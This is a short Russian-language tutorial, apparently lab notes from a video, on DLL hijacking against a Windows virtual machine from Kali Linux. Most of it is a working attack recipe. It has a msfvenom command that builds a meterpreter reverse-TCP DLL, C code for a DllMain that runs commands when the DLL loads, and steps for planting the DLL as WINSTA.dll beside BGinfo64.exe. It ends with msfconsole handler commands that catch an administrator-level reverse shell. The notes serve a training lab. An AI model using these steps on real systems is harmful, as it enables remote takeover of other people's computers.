---
# System prepended metadata

title: DLL higthjacking

---

# DLL higthjacking 

Для того чтобы создать dll пейлоад можно просто написать в терминал `msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.103 -f dll > payload.dll`

![](https://i.imgur.com/BbYOqvC.png)

После этой команды мы получим dll который открывает реверс шелл по указаному в lhost адресу (адрес на котором Kali Linux)

> Лирическое отступление:
> Можно создать и свой собственный пэйлоад, для этого достаточно скоомпилировать dll (например создав dll проект в VS) и добавить туда подобный код
> 
> *#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            system("whoami > C:\\users\\username\\whoami.txt");
            WinExec("calc.exe", 0); //This doesn't accept redirections like system
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}*
> где под case DLL_PROCESS_ATTACH будут команды выполняемые при загрузке dll модуля

Неважно как перебросить dll на атакуемую машину, можно даже раздать его через web (но мы этого делать не будем так как в видео не рассказано как), главное чтобы запускаемая программа вместо своей dll взяла нашу, после чего реверс шелл открыт и все классно

Через монитор процессов можно проанализировать программу BGinfo которая уже есть на виртуальной машине, там мы обнаруживаем что программа ищет WINSTA.dll фаил (его внезапное отсутствие не повлияет на работу системы)

![](https://i.imgur.com/Wdusjfy.png)

Переименовываем наш пэйлоад в WINSTA.dll и перемещаем в папку с Bginfo64.exe. Программа ищет dll сначало в ОЗУ, затем в своей папке, затем в папке system и затем в путях PATH. Соответственно если мы переместим dll в папку с exe программа найдет пэйлоад вместо нормальной dll.

![](https://i.imgur.com/XBiNks9.png)

Для того чтобы связатся с шеллом нужно подготовить хэндлер на Kali Linux. Для этого запускаем msfconsole и прописываем в ней команду `use multi/handler` затем ставим ip Kali Linux в LHOST командой `set LHOST *ip или имя адаптера*`. Для запуска шелла достаточно ввести команду `exploit`

![](https://i.imgur.com/ShGEH3Q.png)

После запуска BGinfo должен запустится и реверс шелл, который дает нам доступ на атакуемый компьютер с правами администратора